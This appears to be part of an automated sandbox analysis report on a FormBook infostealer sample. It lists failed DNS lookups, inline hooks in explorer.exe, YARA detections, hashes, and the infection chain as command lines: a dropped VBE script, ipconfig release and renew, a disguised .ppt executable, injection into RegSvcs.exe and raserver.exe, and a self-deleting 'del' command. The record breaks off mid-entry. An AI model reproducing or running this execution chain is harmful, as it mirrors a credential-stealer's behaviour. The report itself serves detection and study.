                                                                                                                                                      Nov 5, 2024 15:55:57.901375055 CET192.168.2.61.1.1.10x1a31Standard query (0)www.flegendarycap50.onlineA (IP address)IN (0x0001)false
                                                                                                                                                      Nov 5, 2024 15:56:39.339514017 CET192.168.2.61.1.1.10xdb45Standard query (0)www.avannahholcomb.shopA (IP address)IN (0x0001)false
                                                                                                                                                      Nov 5, 2024 15:56:59.759578943 CET192.168.2.61.1.1.10x3abdStandard query (0)www.ee.zoneA (IP address)IN (0x0001)false
                                                                                                                                                      Nov 5, 2024 15:57:20.228269100 CET192.168.2.61.1.1.10x2695Standard query (0)www.jg-bw.appA (IP address)IN (0x0001)false
                                                                                                                                                      Nov 5, 2024 15:57:40.871566057 CET192.168.2.61.1.1.10x87d4Standard query (0)www.eal-estate-90767.bondA (IP address)IN (0x0001)false
                                                                                                                                                      Nov 5, 2024 15:58:01.378590107 CET192.168.2.61.1.1.10x1231Standard query (0)www.indseniorjob881.clickA (IP address)IN (0x0001)false
                                                                                                                                                      Nov 5, 2024 15:58:23.946873903 CET192.168.2.61.1.1.10xc19Standard query (0)www.xs5.buzzA (IP address)IN (0x0001)false

                                                                                                                                                      DNS Answers

                                                                                                                                                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                      Nov 5, 2024 15:54:57.017985106 CET1.1.1.1192.168.2.60x4ee6Name error (3)www.ybokiesite.onlinenonenoneA (IP address)IN (0x0001)false
                                                                                                                                                      Nov 5, 2024 15:55:18.783742905 CET1.1.1.1192.168.2.60x802fName error (3)www.teplero.shopnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                      Nov 5, 2024 15:55:37.760492086 CET1.1.1.1192.168.2.60x4aName error (3)www.ichaellee.infononenoneA (IP address)IN (0x0001)false
                                                                                                                                                      Nov 5, 2024 15:55:57.924639940 CET1.1.1.1192.168.2.60x1a31Name error (3)www.flegendarycap50.onlinenonenoneA (IP address)IN (0x0001)false
                                                                                                                                                      Nov 5, 2024 15:56:39.349458933 CET1.1.1.1192.168.2.60xdb45Name error (3)www.avannahholcomb.shopnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                      Nov 5, 2024 15:56:59.775032043 CET1.1.1.1192.168.2.60x3abdName error (3)www.ee.zonenonenoneA (IP address)IN (0x0001)false
                                                                                                                                                      Nov 5, 2024 15:57:20.255304098 CET1.1.1.1192.168.2.60x2695Name error (3)www.jg-bw.appnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                      Nov 5, 2024 15:57:40.895654917 CET1.1.1.1192.168.2.60x87d4Name error (3)www.eal-estate-90767.bondnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                      Nov 5, 2024 15:58:01.388201952 CET1.1.1.1192.168.2.60x1231Name error (3)www.indseniorjob881.clicknonenoneA (IP address)IN (0x0001)false
                                                                                                                                                      Nov 5, 2024 15:58:23.955451012 CET1.1.1.1192.168.2.60xc19Name error (3)www.xs5.buzznonenoneA (IP address)IN (0x0001)false

                                                                                                                                                      Code Manipulations

                                                                                                                                                      User Modules

                                                                                                                                                      Hook Summary

                                                                                                                                                      Function NameHook TypeActive in Processes
                                                                                                                                                      PeekMessageAINLINEexplorer.exe
                                                                                                                                                      PeekMessageWINLINEexplorer.exe
                                                                                                                                                      GetMessageWINLINEexplorer.exe
                                                                                                                                                      GetMessageAINLINEexplorer.exe

                                                                                                                                                      Processes

                                                                                                                                                      Process: explorer.exe, Module: user32.dll
                                                                                                                                                      Function NameHook TypeNew Data
                                                                                                                                                      PeekMessageAINLINE0x48 0x8B 0xB8 0x87 0x7E 0xE1
                                                                                                                                                      PeekMessageWINLINE0x48 0x8B 0xB8 0x8F 0xFE 0xE1
                                                                                                                                                      GetMessageWINLINE0x48 0x8B 0xB8 0x8F 0xFE 0xE1
                                                                                                                                                      GetMessageAINLINE0x48 0x8B 0xB8 0x87 0x7E 0xE1

                                                                                                                                                      Statistics

                                                                                                                                                      CPU Usage

                                                                                                                                                      Click to jump to process

                                                                                                                                                      Memory Usage

                                                                                                                                                      Click to jump to process

                                                                                                                                                      High Level Behavior Distribution

                                                                                                                                                      Click to dive into process behavior distribution

                                                                                                                                                      Behavior

                                                                                                                                                      Click to jump to process

                                                                                                                                                      System Behavior

                                                                                                                                                      General

                                                                                                                                                      Target ID:0
                                                                                                                                                      Start time:09:54:00
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Users\user\Desktop\mJIvCBk5vF.exe
                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                      Commandline:"C:\Users\user\Desktop\mJIvCBk5vF.exe"
                                                                                                                                                      Imagebase:0xd90000
                                                                                                                                                      File size:1'052'450 bytes
                                                                                                                                                      MD5 hash:5097FE796D4BCA99A3D79998C27116CD
                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Reputation:low
                                                                                                                                                      Has exited:true

                                                                                                                                                      General

                                                                                                                                                      Target ID:2
                                                                                                                                                      Start time:09:54:03
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                      Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rwwk.vbe"
                                                                                                                                                      Imagebase:0x3b0000
                                                                                                                                                      File size:147'456 bytes
                                                                                                                                                      MD5 hash:FF00E0480075B095948000BDC66E81F0
                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Reputation:high
                                                                                                                                                      Has exited:true

                                                                                                                                                      General

                                                                                                                                                      Target ID:3
                                                                                                                                                      Start time:09:54:12
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /c ipconfig /release
                                                                                                                                                      Imagebase:0x1c0000
                                                                                                                                                      File size:236'544 bytes
                                                                                                                                                      MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Reputation:high
                                                                                                                                                      Has exited:true

                                                                                                                                                      General

                                                                                                                                                      Target ID:4
                                                                                                                                                      Start time:09:54:12
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                      Imagebase:0x7ff66e660000
                                                                                                                                                      File size:862'208 bytes
                                                                                                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Reputation:high
                                                                                                                                                      Has exited:true

                                                                                                                                                      General

                                                                                                                                                      Target ID:5
                                                                                                                                                      Start time:09:54:12
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /c gbkusncub.ppt hcmdvu.msc
                                                                                                                                                      Imagebase:0x1c0000
                                                                                                                                                      File size:236'544 bytes
                                                                                                                                                      MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Reputation:high
                                                                                                                                                      Has exited:true

                                                                                                                                                      General

                                                                                                                                                      Target ID:6
                                                                                                                                                      Start time:09:54:12
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                      Imagebase:0x7ff66e660000
                                                                                                                                                      File size:862'208 bytes
                                                                                                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Reputation:high
                                                                                                                                                      Has exited:true

                                                                                                                                                      General

                                                                                                                                                      Target ID:7
                                                                                                                                                      Start time:09:54:12
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Windows\SysWOW64\ipconfig.exe
                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                      Commandline:ipconfig /release
                                                                                                                                                      Imagebase:0xe50000
                                                                                                                                                      File size:29'184 bytes
                                                                                                                                                      MD5 hash:3A3B9A5E00EF6A3F83BF300E2B6B67BB
                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Reputation:moderate
                                                                                                                                                      Has exited:true

                                                                                                                                                      General

                                                                                                                                                      Target ID:8
                                                                                                                                                      Start time:09:54:12
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt
                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                      Commandline:gbkusncub.ppt hcmdvu.msc
                                                                                                                                                      Imagebase:0x710000
                                                                                                                                                      File size:947'288 bytes
                                                                                                                                                      MD5 hash:0ADB9B817F1DF7807576C2D7068DD931
                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Yara matches:
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000003.2317912887.0000000001392000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000003.2317912887.0000000001392000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000003.2317912887.0000000001392000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000003.2317912887.0000000001392000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000003.2317912887.0000000001392000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000003.2319145641.00000000013C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000003.2319145641.00000000013C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000003.2319145641.00000000013C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000003.2319145641.00000000013C8000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000003.2319145641.00000000013C8000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000003.2319234756.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000003.2319234756.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000003.2319234756.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000003.2319234756.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000003.2319234756.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000003.2319290240.0000000001424000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000003.2319290240.0000000001424000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000003.2319290240.0000000001424000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000003.2319290240.0000000001424000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000003.2319290240.0000000001424000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000003.2319869337.00000000013C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000003.2319869337.00000000013C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000003.2319869337.00000000013C5000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000003.2319869337.00000000013C5000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000003.2319869337.00000000013C5000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000003.2318005189.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000003.2318005189.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000003.2318005189.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000003.2318005189.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000003.2318005189.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000003.2317954009.00000000013C0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000003.2317954009.00000000013C0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000003.2317954009.00000000013C0000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000003.2317954009.00000000013C0000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000003.2317954009.00000000013C0000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      Antivirus matches:
                                                                                                                                                      • Detection: 0%, ReversingLabs
                                                                                                                                                      Reputation:moderate
                                                                                                                                                      Has exited:true

                                                                                                                                                      General

                                                                                                                                                      Target ID:9
                                                                                                                                                      Start time:09:54:15
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /c ipconfig /renew
                                                                                                                                                      Imagebase:0x1c0000
                                                                                                                                                      File size:236'544 bytes
                                                                                                                                                      MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Reputation:high
                                                                                                                                                      Has exited:true

                                                                                                                                                      General

                                                                                                                                                      Target ID:10
                                                                                                                                                      Start time:09:54:15
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                      Imagebase:0x7ff66e660000
                                                                                                                                                      File size:862'208 bytes
                                                                                                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Reputation:high
                                                                                                                                                      Has exited:true

                                                                                                                                                      General

                                                                                                                                                      Target ID:11
                                                                                                                                                      Start time:09:54:15
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Windows\SysWOW64\ipconfig.exe
                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                      Commandline:ipconfig /renew
                                                                                                                                                      Imagebase:0xe50000
                                                                                                                                                      File size:29'184 bytes
                                                                                                                                                      MD5 hash:3A3B9A5E00EF6A3F83BF300E2B6B67BB
                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Reputation:moderate
                                                                                                                                                      Has exited:true

                                                                                                                                                      General

                                                                                                                                                      Target ID:15
                                                                                                                                                      Start time:09:54:21
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Users\user\AppData\Local\Temp\RegSvcs.exe
                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                      Commandline:"C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
                                                                                                                                                      Imagebase:0x320000
                                                                                                                                                      File size:45'984 bytes
                                                                                                                                                      MD5 hash:9D352BC46709F0CB5EC974633A0C3C94
                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Antivirus matches:
                                                                                                                                                      • Detection: 0%, ReversingLabs
                                                                                                                                                      Reputation:high
                                                                                                                                                      Has exited:true

                                                                                                                                                      General

                                                                                                                                                      Target ID:16
                                                                                                                                                      Start time:09:54:21
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Users\user\AppData\Local\Temp\RegSvcs.exe
                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                      Commandline:"C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
                                                                                                                                                      Imagebase:0x930000
                                                                                                                                                      File size:45'984 bytes
                                                                                                                                                      MD5 hash:9D352BC46709F0CB5EC974633A0C3C94
                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Yara matches:
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000010.00000002.2379545440.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000010.00000002.2379545440.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000010.00000002.2379545440.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000010.00000002.2379545440.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000010.00000002.2379545440.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      Has exited:true

                                                                                                                                                      General

                                                                                                                                                      Target ID:17
                                                                                                                                                      Start time:09:54:21
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Windows\explorer.exe
                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                      Commandline:C:\Windows\Explorer.EXE
                                                                                                                                                      Imagebase:0x7ff609140000
                                                                                                                                                      File size:5'141'208 bytes
                                                                                                                                                      MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                                                                                                                                      Has elevated privileges:false
                                                                                                                                                      Has administrator privileges:false
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Yara matches:
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_772cc62d, Description: unknown, Source: 00000011.00000002.4589387883.0000000010010000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                      Has exited:false

                                                                                                                                                      General

                                                                                                                                                      Target ID:18
                                                                                                                                                      Start time:09:54:24
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Windows\SysWOW64\raserver.exe
                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                      Commandline:"C:\Windows\SysWOW64\raserver.exe"
                                                                                                                                                      Imagebase:0x470000
                                                                                                                                                      File size:107'520 bytes
                                                                                                                                                      MD5 hash:D1053D114847677185F248FF98C3F255
                                                                                                                                                      Has elevated privileges:false
                                                                                                                                                      Has administrator privileges:false
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Yara matches:
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000012.00000002.4573770459.0000000002D50000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000012.00000002.4573770459.0000000002D50000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000012.00000002.4573770459.0000000002D50000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000012.00000002.4573770459.0000000002D50000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000012.00000002.4573770459.0000000002D50000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000012.00000002.4573249463.00000000027D0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000012.00000002.4573249463.00000000027D0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000012.00000002.4573249463.00000000027D0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000012.00000002.4573249463.00000000027D0000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000012.00000002.4573249463.00000000027D0000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000012.00000002.4574062995.0000000004640000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000012.00000002.4574062995.0000000004640000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000012.00000002.4574062995.0000000004640000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000012.00000002.4574062995.0000000004640000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000012.00000002.4574062995.0000000004640000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      Has exited:false

                                                                                                                                                      General

                                                                                                                                                      Target ID:19
                                                                                                                                                      Start time:09:54:27
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                      Commandline:/c del "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
                                                                                                                                                      Imagebase:0x1c0000
                                                                                                                                                      File size:236'544 bytes
                                                                                                                                                      MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                      Has elevated privileges:false
                                                                                                                                                      Has administrator privileges:false
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Has exited:true

                                                                                                                                                      General

                                                                                                                                                      Target ID:20
                                                                                                                                                      Start time:09:54:27
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                      Imagebase:0x7ff66e660000
                                                                                                                                                      File size:862'208 bytes
                                                                                                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                      Has elevated privileges:false
                                                                                                                                                      Has administrator privileges:false
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Has exited:true

                                                                                                                                                      General

                                                                                                                                                      Target ID:21
                                                                                                                                                      Start time:09:54:29
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Users\user\llkd\gbkusncub.ppt.exe
